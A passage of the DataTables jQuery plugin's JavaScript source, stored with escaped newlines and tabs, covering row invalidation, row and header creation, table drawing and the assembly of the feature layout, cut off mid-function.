rowIdx   Row index to invalidate\n\t * @memberof DataTable#oApi\n\t *\n\t * @todo For the modularisation of v1.11 this will need to become a callback, so\n\t *   the sort and filter methods can subscribe to it. That will required\n\t *   initialisation options for sorting, which is why it is not already baked in\n\t */\n\tfunction _fnInvalidateRow( settings, rowIdx, src, column )\n\t{\n\t\tvar row = settings.aoData[ rowIdx ];\n\t\tvar i, ien;\n\t\n\t\t// Are we reading last data from DOM or the data object?\n\t\tif ( src === 'dom' || ((! src || src === 'auto') && row.src === 'dom') ) {\n\t\t\t// Read the data from the DOM\n\t\t\trow._aData = _fnGetRowElements( settings, row.nTr ).data;\n\t\t}\n\t\telse {\n\t\t\t// Reading from data object, update the DOM\n\t\t\tvar cells = row.anCells;\n\t\n\t\t\tfor ( i=0, ien=cells.length ; i<ien ; i++ ) {\n\t\t\t\tcells[i].innerHTML = _fnGetCellData( settings, rowIdx, i, 'display' );\n\t\t\t}\n\t\t}\n\t\n\t\trow._aSortData = null;\n\t\trow._aFilterData = null;\n\t\n\t\t// Invalidate the type for a specific column (if given) or all columns since\n\t\t// the data might have changed\n\t\tvar cols = settings.aoColumns;\n\t\tif ( column !== undefined ) {\n\t\t\tcols[ column ].sType = null;\n\t\t}\n\t\telse {\n\t\t\tfor ( i=0, ien=cols.length ; i<ien ; i++ ) {\n\t\t\t\tcols[i].sType = null;\n\t\t\t}\n\t\t}\n\t\n\t\t// Update DataTables special `DT_*` attributes for the row\n\t\t_fnRowAttributes( row );\n\t}\n\t\n\t\n\t/**\n\t * Build a data source object from an HTML row, reading the contents of the\n\t * cells that are in the row.\n\t *\n\t * @param {object} settings DataTables settings object\n\t * @param {node} TR element from which to read data\n\t * @returns {object} Object with two parameters: `data` the data read, in\n\t *   document order, and `cells` and array of nodes (they can be useful to the\n\t *   caller, so rather than needing a second traversal to get them, just return\n\t *   them from here).\n\t * @memberof DataTable#oApi\n\t */\n\tfunction _fnGetRowElements( settings, row )\n\t{\n\t\tvar\n\t\t\td = [],\n\t\t\ttds = [],\n\t\t\ttd = row.firstChild,\n\t\t\tname, col, o, i=0, contents,\n\t\t\tcolumns = settings.aoColumns;\n\t\n\t\tvar attr = function ( str, data, td  ) {\n\t\t\tif ( typeof str === 'string' ) {\n\t\t\t\tvar idx = str.indexOf('@');\n\t\n\t\t\t\tif ( idx !== -1 ) {\n\t\t\t\t\tvar src = str.substring( idx+1 );\n\t\t\t\t\to[ '@'+src ] = td.getAttribute( src );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\n\t\twhile ( td ) {\n\t\t\tname = td.nodeName.toUpperCase();\n\t\n\t\t\tif ( name == \"TD\" || name == \"TH\" ) {\n\t\t\t\tcol = columns[i];\n\t\t\t\tcontents = $.trim(td.innerHTML);\n\t\n\t\t\t\tif ( col && col._bAttrSrc ) {\n\t\t\t\t\to = {\n\t\t\t\t\t\tdisplay: contents\n\t\t\t\t\t};\n\t\n\t\t\t\t\tattr( col.mData.sort, o, td );\n\t\t\t\t\tattr( col.mData.type, o, td );\n\t\t\t\t\tattr( col.mData.filter, o, td );\n\t\n\t\t\t\t\td.push( o );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\td.push( contents );\n\t\t\t\t}\n\t\n\t\t\t\ttds.push( td );\n\t\t\t\ti++;\n\t\t\t}\n\t\n\t\t\ttd = td.nextSibling;\n\t\t}\n\t\n\t\treturn {\n\t\t\tdata: d,\n\t\t\tcells: tds\n\t\t};\n\t}\n\t/**\n\t * Create a new TR element (and it's TD children) for a row\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {int} iRow Row to consider\n\t *  @param {node} [nTrIn] TR element to add to the table - optional. If not given,\n\t *    DataTables will create a row automatically\n\t *  @param {array} [anTds] Array of TD|TH elements for the row - must be given\n\t *    if nTr is.\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnCreateTr ( oSettings, iRow, nTrIn, anTds )\n\t{\n\t\tvar\n\t\t\trow = oSettings.aoData[iRow],\n\t\t\trowData = row._aData,\n\t\t\tcells = [],\n\t\t\tnTr, nTd, oCol,\n\t\t\ti, iLen;\n\t\n\t\tif ( row.nTr === null )\n\t\t{\n\t\t\tnTr = nTrIn || document.createElement('tr');\n\t\n\t\t\trow.nTr = nTr;\n\t\t\trow.anCells = cells;\n\t\n\t\t\t/* Use a private property on the node to allow reserve mapping from the node\n\t\t\t * to the aoData array for fast look up\n\t\t\t */\n\t\t\tnTr._DT_RowIndex = iRow;\n\t\n\t\t\t/* Special parameters can be given by the data source to be used on the row */\n\t\t\t_fnRowAttributes( row );\n\t\n\t\t\t/* Process each column */\n\t\t\tfor ( i=0, iLen=oSettings.aoColumns.length ; i<iLen ; i++ )\n\t\t\t{\n\t\t\t\toCol = oSettings.aoColumns[i];\n\t\n\t\t\t\tnTd = nTrIn ? anTds[i] : document.createElement( oCol.sCellType );\n\t\t\t\tcells.push( nTd );\n\t\n\t\t\t\t// Need to create the HTML if new, or if a rendering function is defined\n\t\t\t\tif ( !nTrIn || oCol.mRender || oCol.mData !== i )\n\t\t\t\t{\n\t\t\t\t\tnTd.innerHTML = _fnGetCellData( oSettings, iRow, i, 'display' );\n\t\t\t\t}\n\t\n\t\t\t\t/* Add user defined class */\n\t\t\t\tif ( oCol.sClass !== null )\n\t\t\t\t{\n\t\t\t\t\tnTd.className += ' '+oCol.sClass;\n\t\t\t\t}\n\t\n\t\t\t\t// Visibility - add or remove as required\n\t\t\t\tif ( oCol.bVisible && ! nTrIn )\n\t\t\t\t{\n\t\t\t\t\tnTr.appendChild( nTd );\n\t\t\t\t}\n\t\t\t\telse if ( ! oCol.bVisible && nTrIn )\n\t\t\t\t{\n\t\t\t\t\tnTd.parentNode.removeChild( nTd );\n\t\t\t\t}\n\t\n\t\t\t\tif ( oCol.fnCreatedCell )\n\t\t\t\t{\n\t\t\t\t\toCol.fnCreatedCell.call( oSettings.oInstance,\n\t\t\t\t\t\tnTd, _fnGetCellData( oSettings, iRow, i, 'display' ), rowData, iRow, i\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\t_fnCallbackFire( oSettings, 'aoRowCreatedCallback', null, [nTr, rowData, iRow] );\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Add attributes to a row based on the special `DT_*` parameters in a data\n\t * source object.\n\t *  @param {object} DataTables row object for the row to be modified\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnRowAttributes( row )\n\t{\n\t\tvar tr = row.nTr;\n\t\tvar data = row._aData;\n\t\n\t\tif ( tr ) {\n\t\t\tif ( data.DT_RowId ) {\n\t\t\t\ttr.id = data.DT_RowId;\n\t\t\t}\n\t\n\t\t\tif ( data.DT_RowClass ) {\n\t\t\t\t// Remove any classes added by DT_RowClass before\n\t\t\t\tvar a = data.DT_RowClass.split(' ');\n\t\t\t\trow.__rowc = row.__rowc ?\n\t\t\t\t\t_unique( row.__rowc.concat( a ) ) :\n\t\t\t\t\ta;\n\t\n\t\t\t\t$(tr)\n\t\t\t\t\t.removeClass( row.__rowc.join(' ') )\n\t\t\t\t\t.addClass( data.DT_RowClass );\n\t\t\t}\n\t\n\t\t\tif ( data.DT_RowData ) {\n\t\t\t\t$(tr).data( data.DT_RowData );\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Create the HTML header for the table\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnBuildHead( oSettings )\n\t{\n\t\tvar i, ien, cell, row, column;\n\t\tvar thead = oSettings.nTHead;\n\t\tvar tfoot = oSettings.nTFoot;\n\t\tvar createHeader = $('th, td', thead).length === 0;\n\t\tvar classes = oSettings.oClasses;\n\t\tvar columns = oSettings.aoColumns;\n\t\n\t\tif ( createHeader ) {\n\t\t\trow = $('<tr/>').appendTo( thead );\n\t\t}\n\t\n\t\tfor ( i=0, ien=columns.length ; i<ien ; i++ ) {\n\t\t\tcolumn = columns[i];\n\t\t\tcell = $( column.nTh ).addClass( column.sClass );\n\t\n\t\t\tif ( createHeader ) {\n\t\t\t\tcell.appendTo( row );\n\t\t\t}\n\t\n\t\t\t// 1.11 move into sorting\n\t\t\tif ( oSettings.oFeatures.bSort ) {\n\t\t\t\tcell.addClass( column.sSortingClass );\n\t\n\t\t\t\tif ( column.bSortable !== false ) {\n\t\t\t\t\tcell\n\t\t\t\t\t\t.attr( 'tabindex', oSettings.iTabIndex )\n\t\t\t\t\t\t.attr( 'aria-controls', oSettings.sTableId );\n\t\n\t\t\t\t\t_fnSortAttachListener( oSettings, column.nTh, i );\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\tif ( column.sTitle != cell.html() ) {\n\t\t\t\tcell.html( column.sTitle );\n\t\t\t}\n\t\n\t\t\t_fnRenderer( oSettings, 'header' )(\n\t\t\t\toSettings, cell, column, i, classes\n\t\t\t);\n\t\t}\n\t\n\t\tif ( createHeader ) {\n\t\t\t_fnDetectHeader( oSettings.aoHeader, thead );\n\t\t}\n\t\n\t\t/* ARIA role for the rows */\n\t\t$(thead).find('>tr').attr('role', 'row');\n\t\n\t\t/* Deal with the footer - add classes if required */\n\t\t$(thead).find('>tr>th, >tr>td').addClass( classes.sHeaderTH );\n\t\t$(tfoot).find('>tr>th, >tr>td').addClass( classes.sFooterTH );\n\t\n\t\t// Cache the footer cells. Note that we only take the cells from the first\n\t\t// row in the footer. If there is more than one row the user wants to\n\t\t// interact with, they need to use the table().foot() method. Note also this\n\t\t// allows cells to be used for multiple columns using colspan\n\t\tif ( tfoot !== null ) {\n\t\t\tvar cells = oSettings.aoFooter[0];\n\t\n\t\t\tfor ( i=0, ien=cells.length ; i<ien ; i++ ) {\n\t\t\t\tcolumn = columns[i];\n\t\t\t\tcolumn.nTf = cells[i].cell;\n\t\n\t\t\t\tif ( column.sClass ) {\n\t\t\t\t\t$(column.nTf).addClass( column.sClass );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Draw the header (or footer) element based on the column visibility states. The\n\t * methodology here is to use the layout array from _fnDetectHeader, modified for\n\t * the instantaneous column visibility, to construct the new layout. The grid is\n\t * traversed over cell at a time in a rows x columns grid fashion, although each\n\t * cell insert can cover multiple elements in the grid - which is tracks using the\n\t * aApplied array. Cell inserts in the grid will only occur where there isn't\n\t * already a cell in that position.\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param array {objects} aoSource Layout array from _fnDetectHeader\n\t *  @param {boolean} [bIncludeHidden=false] If true then include the hidden columns in the calc,\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnDrawHead( oSettings, aoSource, bIncludeHidden )\n\t{\n\t\tvar i, iLen, j, jLen, k, kLen, n, nLocalTr;\n\t\tvar aoLocal = [];\n\t\tvar aApplied = [];\n\t\tvar iColumns = oSettings.aoColumns.length;\n\t\tvar iRowspan, iColspan;\n\t\n\t\tif ( ! aoSource )\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\n\t\tif (  bIncludeHidden === undefined )\n\t\t{\n\t\t\tbIncludeHidden = false;\n\t\t}\n\t\n\t\t/* Make a copy of the master layout array, but without the visible columns in it */\n\t\tfor ( i=0, iLen=aoSource.length ; i<iLen ; i++ )\n\t\t{\n\t\t\taoLocal[i] = aoSource[i].slice();\n\t\t\taoLocal[i].nTr = aoSource[i].nTr;\n\t\n\t\t\t/* Remove any columns which are currently hidden */\n\t\t\tfor ( j=iColumns-1 ; j>=0 ; j-- )\n\t\t\t{\n\t\t\t\tif ( !oSettings.aoColumns[j].bVisible && !bIncludeHidden )\n\t\t\t\t{\n\t\t\t\t\taoLocal[i].splice( j, 1 );\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\t/* Prep the applied array - it needs an element for each row */\n\t\t\taApplied.push( [] );\n\t\t}\n\t\n\t\tfor ( i=0, iLen=aoLocal.length ; i<iLen ; i++ )\n\t\t{\n\t\t\tnLocalTr = aoLocal[i].nTr;\n\t\n\t\t\t/* All cells are going to be replaced, so empty out the row */\n\t\t\tif ( nLocalTr )\n\t\t\t{\n\t\t\t\twhile( (n = nLocalTr.firstChild) )\n\t\t\t\t{\n\t\t\t\t\tnLocalTr.removeChild( n );\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\tfor ( j=0, jLen=aoLocal[i].length ; j<jLen ; j++ )\n\t\t\t{\n\t\t\t\tiRowspan = 1;\n\t\t\t\tiColspan = 1;\n\t\n\t\t\t\t/* Check to see if there is already a cell (row/colspan) covering our target\n\t\t\t\t * insert point. If there is, then there is nothing to do.\n\t\t\t\t */\n\t\t\t\tif ( aApplied[i][j] === undefined )\n\t\t\t\t{\n\t\t\t\t\tnLocalTr.appendChild( aoLocal[i][j].cell );\n\t\t\t\t\taApplied[i][j] = 1;\n\t\n\t\t\t\t\t/* Expand the cell to cover as many rows as needed */\n\t\t\t\t\twhile ( aoLocal[i+iRowspan] !== undefined &&\n\t\t\t\t\t        aoLocal[i][j].cell == aoLocal[i+iRowspan][j].cell )\n\t\t\t\t\t{\n\t\t\t\t\t\taApplied[i+iRowspan][j] = 1;\n\t\t\t\t\t\tiRowspan++;\n\t\t\t\t\t}\n\t\n\t\t\t\t\t/* Expand the cell to cover as many columns as needed */\n\t\t\t\t\twhile ( aoLocal[i][j+iColspan] !== undefined &&\n\t\t\t\t\t        aoLocal[i][j].cell == aoLocal[i][j+iColspan].cell )\n\t\t\t\t\t{\n\t\t\t\t\t\t/* Must update the applied array over the rows for the columns */\n\t\t\t\t\t\tfor ( k=0 ; k<iRowspan ; k++ )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taApplied[i+k][j+iColspan] = 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tiColspan++;\n\t\t\t\t\t}\n\t\n\t\t\t\t\t/* Do the actual expansion in the DOM */\n\t\t\t\t\taoLocal[i][j].cell.rowSpan = iRowspan;\n\t\t\t\t\taoLocal[i][j].cell.colSpan = iColspan;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Insert the required TR nodes into the table for display\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnDraw( oSettings )\n\t{\n\t\t/* Provide a pre-callback function which can be used to cancel the draw is false is returned */\n\t\tvar aPreDraw = _fnCallbackFire( oSettings, 'aoPreDrawCallback', 'preDraw', [oSettings] );\n\t\tif ( $.inArray( false, aPreDraw ) !== -1 )\n\t\t{\n\t\t\t_fnProcessingDisplay( oSettings, false );\n\t\t\treturn;\n\t\t}\n\t\n\t\tvar i, iLen, n;\n\t\tvar anRows = [];\n\t\tvar iRowCount = 0;\n\t\tvar asStripeClasses = oSettings.asStripeClasses;\n\t\tvar iStripes = asStripeClasses.length;\n\t\tvar iOpenRows = oSettings.aoOpenRows.length;\n\t\tvar oLang = oSettings.oLanguage;\n\t\tvar iInitDisplayStart = oSettings.iInitDisplayStart;\n\t\tvar bServerSide = _fnDataSource( oSettings ) == 'ssp';\n\t\tvar aiDisplay = oSettings.aiDisplay;\n\t\n\t\toSettings.bDrawing = true;\n\t\n\t\t/* Check and see if we have an initial draw position from state saving */\n\t\tif ( iInitDisplayStart !== undefined && iInitDisplayStart !== -1 )\n\t\t{\n\t\t\toSettings._iDisplayStart = bServerSide ?\n\t\t\t\tiInitDisplayStart :\n\t\t\t\tiInitDisplayStart >= oSettings.fnRecordsDisplay() ?\n\t\t\t\t\t0 :\n\t\t\t\t\tiInitDisplayStart;\n\t\n\t\t\toSettings.iInitDisplayStart = -1;\n\t\t}\n\t\n\t\tvar iDisplayStart = oSettings._iDisplayStart;\n\t\tvar iDisplayEnd = oSettings.fnDisplayEnd();\n\t\n\t\t/* Server-side processing draw intercept */\n\t\tif ( oSettings.bDeferLoading )\n\t\t{\n\t\t\toSettings.bDeferLoading = false;\n\t\t\toSettings.iDraw++;\n\t\t\t_fnProcessingDisplay( oSettings, false );\n\t\t}\n\t\telse if ( !bServerSide )\n\t\t{\n\t\t\toSettings.iDraw++;\n\t\t}\n\t\telse if ( !oSettings.bDestroying && !_fnAjaxUpdate( oSettings ) )\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\n\t\tif ( aiDisplay.length !== 0 )\n\t\t{\n\t\t\tvar iStart = bServerSide ? 0 : iDisplayStart;\n\t\t\tvar iEnd = bServerSide ? oSettings.aoData.length : iDisplayEnd;\n\t\n\t\t\tfor ( var j=iStart ; j<iEnd ; j++ )\n\t\t\t{\n\t\t\t\tvar iDataIndex = aiDisplay[j];\n\t\t\t\tvar aoData = oSettings.aoData[ iDataIndex ];\n\t\t\t\tif ( aoData.nTr === null )\n\t\t\t\t{\n\t\t\t\t\t_fnCreateTr( oSettings, iDataIndex );\n\t\t\t\t}\n\t\n\t\t\t\tvar nRow = aoData.nTr;\n\t\n\t\t\t\t/* Remove the old striping classes and then add the new one */\n\t\t\t\tif ( iStripes !== 0 )\n\t\t\t\t{\n\t\t\t\t\tvar sStripe = asStripeClasses[ iRowCount % iStripes ];\n\t\t\t\t\tif ( aoData._sRowStripe != sStripe )\n\t\t\t\t\t{\n\t\t\t\t\t\t$(nRow).removeClass( aoData._sRowStripe ).addClass( sStripe );\n\t\t\t\t\t\taoData._sRowStripe = sStripe;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\t/* Row callback functions - might want to manipulate the row */\n\t\t\t\t_fnCallbackFire( oSettings, 'aoRowCallback', null,\n\t\t\t\t\t[nRow, aoData._aData, iRowCount, j] );\n\t\n\t\t\t\tanRows.push( nRow );\n\t\t\t\tiRowCount++;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* Table is empty - create a row with an empty message in it */\n\t\t\tvar sZero = oLang.sZeroRecords;\n\t\t\tif ( oSettings.iDraw == 1 &&  _fnDataSource( oSettings ) == 'ajax' )\n\t\t\t{\n\t\t\t\tsZero = oLang.sLoadingRecords;\n\t\t\t}\n\t\t\telse if ( oLang.sEmptyTable && oSettings.fnRecordsTotal() === 0 )\n\t\t\t{\n\t\t\t\tsZero = oLang.sEmptyTable;\n\t\t\t}\n\t\n\t\t\tanRows[ 0 ] = $( '<tr/>', { 'class': iStripes ? asStripeClasses[0] : '' } )\n\t\t\t\t.append( $('<td />', {\n\t\t\t\t\t'valign':  'top',\n\t\t\t\t\t'colSpan': _fnVisbleColumns( oSettings ),\n\t\t\t\t\t'class':   oSettings.oClasses.sRowEmpty\n\t\t\t\t} ).html( sZero ) )[0];\n\t\t}\n\t\n\t\t/* Header and footer callbacks */\n\t\t_fnCallbackFire( oSettings, 'aoHeaderCallback', 'header', [ $(oSettings.nTHead).children('tr')[0],\n\t\t\t_fnGetDataMaster( oSettings ), iDisplayStart, iDisplayEnd, aiDisplay ] );\n\t\n\t\t_fnCallbackFire( oSettings, 'aoFooterCallback', 'footer', [ $(oSettings.nTFoot).children('tr')[0],\n\t\t\t_fnGetDataMaster( oSettings ), iDisplayStart, iDisplayEnd, aiDisplay ] );\n\t\n\t\tvar body = $(oSettings.nTBody);\n\t\n\t\tbody.children().detach();\n\t\tbody.append( $(anRows) );\n\t\n\t\t/* Call all required callback functions for the end of a draw */\n\t\t_fnCallbackFire( oSettings, 'aoDrawCallback', 'draw', [oSettings] );\n\t\n\t\t/* Draw is complete, sorting and filtering must be as well */\n\t\toSettings.bSorted = false;\n\t\toSettings.bFiltered = false;\n\t\toSettings.bDrawing = false;\n\t}\n\t\n\t\n\t/**\n\t * Redraw the table - taking account of the various features which are enabled\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {boolean} [holdPosition] Keep the current paging position. By default\n\t *    the paging is reset to the first page\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnReDraw( settings, holdPosition )\n\t{\n\t\tvar\n\t\t\tfeatures = settings.oFeatures,\n\t\t\tsort     = features.bSort,\n\t\t\tfilter   = features.bFilter;\n\t\n\t\tif ( sort ) {\n\t\t\t_fnSort( settings );\n\t\t}\n\t\n\t\tif ( filter ) {\n\t\t\t_fnFilterComplete( settings, settings.oPreviousSearch );\n\t\t}\n\t\telse {\n\t\t\t// No filtering, so we want to just use the display master\n\t\t\tsettings.aiDisplay = settings.aiDisplayMaster.slice();\n\t\t}\n\t\n\t\tif ( holdPosition !== true ) {\n\t\t\tsettings._iDisplayStart = 0;\n\t\t}\n\t\n\t\t_fnDraw( settings );\n\t}\n\t\n\t\n\t/**\n\t * Add the options to the page HTML for the table\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnAddOptionsHtml ( oSettings )\n\t{\n\t\t/*\n\t\t * Create a temporary, empty, div which we can later on replace with what we have generated\n\t\t * we do it this way to rendering the 'options' html offline - speed :-)\n\t\t */\n\t\tvar nHolding = $('<div></div>')[0];\n\t\toSettings.nTable.parentNode.insertBefore( nHolding, oSettings.nTable );\n\t\n\t\t/*\n\t\t * All DataTables are wrapped in a div\n\t\t */\n\t\toSettings.nTableWrapper = $('<div id=\"'+oSettings.sTableId+'_wrapper\" class=\"'+oSettings.oClasses.sWrapper+'\" role=\"grid\"></div>')[0];\n\t\toSettings.nTableReinsertBefore = oSettings.nTable.nextSibling;\n\t\n\t\t/* Track where we want to insert the option */\n\t\tvar nInsertNode = oSettings.nTableWrapper;\n\t\n\t\t/* Loop over the user set positioning and place the elements as needed */\n\t\tvar aDom = oSettings.sDom.split('');\n\t\tvar nTmp, iPushFeature, cOption, nNewNode, cNext, sAttr, j;\n\t\tfor ( var i=0 ; i<aDom.length ; i++ )\n\t\t{\n\t\t\tiPushFeature = 0;\n\t\t\tcOption = aDom[i];\n\t\n\t\t\tif ( cOption == '<' )\n\t\t\t{\n\t\t\t\t/* New container div */\n\t\t\t\tnNewNode = $('<div></div>')[0];\n\t\n\t\t\t\t/* Check to see if we should append an id and/or a class name to the container */\n\t\t\t\tcNext = aDom[i+1];\n\t\t\t\tif ( cNext == \"'\" || cNext == '\"' )\n\t\t\t\t{\n\t\t\t\t\tsAttr = \"\";\n\t\t\t\t\tj = 2;\n\t\t\t\t\twhile ( aDom[i+j] != cNext )\n\t\t\t\t\t{\n\t\t\t\t\t\tsAttr += aDom[i+j];\n\t\t\t\t\t\tj++;\n\t\t\t\t\t}\n\t\n\t\t\t\t\t/* Replace jQuery UI constants @todo depreciated */\n\t\t\t\t\tif ( sAttr == \"H\" )\n\t\t\t\t\t{\n\t\t\t\t\t\tsAttr = oSettings.oClasses.sJUIHeader;\n\t\t\t\t\t}\n\t\t\t\t\telse if ( sAttr == \"F\" )\n\t\t\t\t\t{\n\t\t\t\t\t\tsAttr = oSettings.oClasses.sJUIFooter;\n\t\t\t\t\t}\n\t\n\t\t\t\t\t/* The attribute can be in the format of \"#id.class\", \"#id\" or \"class\" This logic\n\t\t\t\t\t * breaks the string into parts and applies them as needed\n\t\t\t\t\t */\n\t\t\t\t\tif ( sAttr.indexOf('.') != -1 )\n\t\t\t\t\t{\n\t\t\t\t\t\tvar aSplit = sAttr.split('.');\n\t\t\t\t\t\tnNewNode.id = aSplit[0].substr(1, aSplit[0].length-1);\n\t\t\t\t\t\tnNewNode.className = aSplit[1];\n\t\t\t\t\t}\n\t\t\t\t\telse if ( sAttr.charAt(0) == \"#\" )\n\t\t\t\t\t{\n\t\t\t\t\t\tnNewNode.id = sAttr.substr(1, sAttr.length-1);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tnNewNode.className = sAttr;\n\t\t\t\t\t}\n\t\n\t\t\t\t\ti += j; /* Move along the position array */\n\t\t\t\t}\n\t\n\t\t\t\tnInsertNode.appendChild( nNewNode );\n\t\t\t\tnInsertNode = nNewNode;\n\t\t\t}\n\t\t\telse if ( cOption == '>' )\n\t\t\t{\n\t\t\t\t/* End container div */\n\t\t\t\tnInsertNode = nInsertNode.parentNode;\n\t\t\t}\n\t\t\t// @todo Move options into their own plugins?\n\t\t\telse if ( cOption == 'l' && oSettings.oFeatures.bPaginate && oSettings.oFeatures.bLengthChange )\n\t\t\t{\n\t\t\t\t/* Length */\n\t\t\t\tnTmp = _fnFeatureHtmlLength( oSettings );\n\t\t\t\tiPushFeature = 1;\n\t\t\t}\n\t\t\telse if ( cOption == 'f' && oSettings.oFeatures.bFilter )\n\t\t\t{\n\t\t\t\t/* Filter */\n\t\t\t\tnTmp = _fnFeatureHtmlFilter( oSettings );\n\t\t\t\tiPushFeature = 1;\n\t\t\t}\n\t\t\telse if ( cOption == 'r' && oSettings.oFeatures.bProcessing )\n\t\t\t{\n\t\t\t\t/* pRocessing */\n\t\t\t\tnTmp = _fnFeatureHtmlProcessing( oSettings );\n\t\t\t\tiPushFeature = 1;\n\t\t\t}\n\t\t\telse if ( cOption == 't' )\n\t\t\t{\n\t\t\t\t/* Table */\n\t\t\t\tnTmp = _fnFeatureHtmlTable( oSettings );\n\t\t\t\tiPushFeature = 1;\n\t\t\t}\n\t\t\telse if ( cOption ==  'i' && oSettings.oFeatures.bInfo )\n\t\t\t{\n\t\t\t\t/* Info */\n\t\t\t\tnTmp = _fnFeatureHtmlInfo( oSettings );\n\t\t\t\tiPushFeature = 1;\n\t\t\t}\n\t\t\telse if ( cOption == 'p' && oSettings.oFeatures.bPaginate )\n\t\t\t{\n\t\t\t\t/* Pagination */\n\t\t\t\tnTmp = _fnFeatureHtmlPaginate( oSettings );\n\t\t\t\tiPushFeature = 1;\n\t\t\t}\n\t\t\telse if ( DataTable.ext.feature.length !== 0 )\n\t\t\t{\n\t\t\t\t/* Plug-in features */\n\t\t\t\tvar aoFeatures = DataTable.ext.feature;\n\t\t\t\tfor ( var k=0, kLen=aoFeatures.length ; k<kLen ; k++ )\n\t\t\t\t{\n\t\t\t\t\tif ( cOption == aoFeatures[k].cFeature )\n\t\t\t\t\t{\n\t\t\t\t\t\tnTmp = aoFeatures[k].fnInit( oSettings );\n\t\t\t\t\t\tif ( nTmp )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tiPushFeature = 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\t/* Add to the 2D features array */\n\t\t\tif ( iPushFeature == 1 && nTmp !== null )\n\t\t\t{\n\t\t\t\tif ( typeof oSettings.aanFeatures[cOption] !== 'object' )\n\t\t\t\t{\n\t\t\t\t\toSettings.aanFeatures[cOption] = [];\n\t\t\t\t}\n\t\t\t\toSettings.aanFeatures[cOption].push( nTmp );\n\t\t\t\tnInsertNode.appendChild( nTmp );\n\t\t\t}\n\t\t}\n\t\n\t\t/* Built our DOM structure - replace the holding div with what we want */\n\t\tnHolding.parentNode.replaceChild( oSettings.nTableWrapper, nHolding );\n\t}\n\t\n\t\n\t/**\n\t * Use the DOM source to create up an array of header cells. The idea here is to\n\t * create a layout grid (array) of rows x columns, which contains a reference\n\t * to the cell that that point in the grid (regardless of col/rowspan), such that\n\t * any column / row could be removed and the new grid constructed\n\t *  @param array {object} aLayout Array to store the calculated layout in\n\t *  @param {node} nThead The header/footer element for the table\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnDetectHeader ( aLayout, nThead )\n\t{\n\t\tvar nTrs = $(nThead).children('tr');\n\t\tvar nTr, nCell;\n\t\tvar i, k, l, iLen, jLen, iColShifted, iColumn, iColspan, iRowspan;\n\t\tvar bUnique;\n\t\tvar fnShiftCol = function ( a, i, j ) {\n\t\t\tvar k = a[i];\n\t                while ( k[j] ) {\n\t\t\t\tj++;\n\t\t\t}\n\t\t\treturn j;\n\t\t};\n\t\n\t\taLayout.splice( 0, aLayout.length );\n\t\n\t\t/* We know how many rows there are in the layout - so prep it */\n\t\tfor ( i=0, iLen=nTrs.length ; i<iLen ; i++ )\n\t\t{\n\t\t\taLayout.push( [] );\n\t\t}\n\t\n\t\t/* Calculate a layout array */\n\t\tfor ( i=0, iLen=nTrs.length ; i<iLen ; i++ )\n\t\t{\n\t\t\tnTr = nTrs[i];\n\t\t\tiColumn = 0;\n\t\n\t\t\t/* For every cell in the row... */\n\t\t\tnCell = nTr.firstChild;\n\t\t\twhile ( nCell ) {\n\t\t\t\tif ( nCell.nodeName.toUpperCase() == \"TD\" ||\n\t\t\t\t     nCell.nodeName.toUpperCase() == \"TH\" )\n\t\t\t\t{\n\t\t\t\t\t/* Get the col and rowspan attributes from the DOM and sanitise them */\n\t\t\t\t\tiColspan = nCell.getAttribute('colspan') * 1;\n\t\t\t\t\tiRowspan = nCell.getAttribute('rowspan') * 1;\n\t\t\t\t\tiColspan = (!iColspan || iColspan===0 || iColspan===1) ? 1 : iColspan;\n\t\t\t\t\tiRowspan = (!iRowspan || iRowspan===0 || iRowspan===1) ? 1 : iRowspan;\n\t\n\t\t\t\t\t/* There might be colspan cells already in this row, so shift our target\n\t\t\t\t\t * accordingly\n\t\t\t\t\t */\n\t\t\t\t\tiColShifted = fnShiftCol( aLayout, i, iColumn );\n\t\n\t\t\t\t\t/* Cache calculation for unique columns */\n\t\t\t\t\tbUnique = iColspan === 1 ? true : false;\n\t\n\t\t\t\t\t/* If there is col / rowspan, copy the information into the layout grid */\n\t\t\t\t\tfor ( l=0 ; l<iColspan ; l++ )\n\t\t\t\t\t{\n\t\t\t\t\t\tfor ( k=0 ; k<iRowspan ; k++ )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taLayout[i+k][iColShifted+l] = {\n\t\t\t\t\t\t\t\t\"cell\": nCell,\n\t\t\t\t\t\t\t\t\"unique\": bUnique\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\taLayout[i+k].nTr = 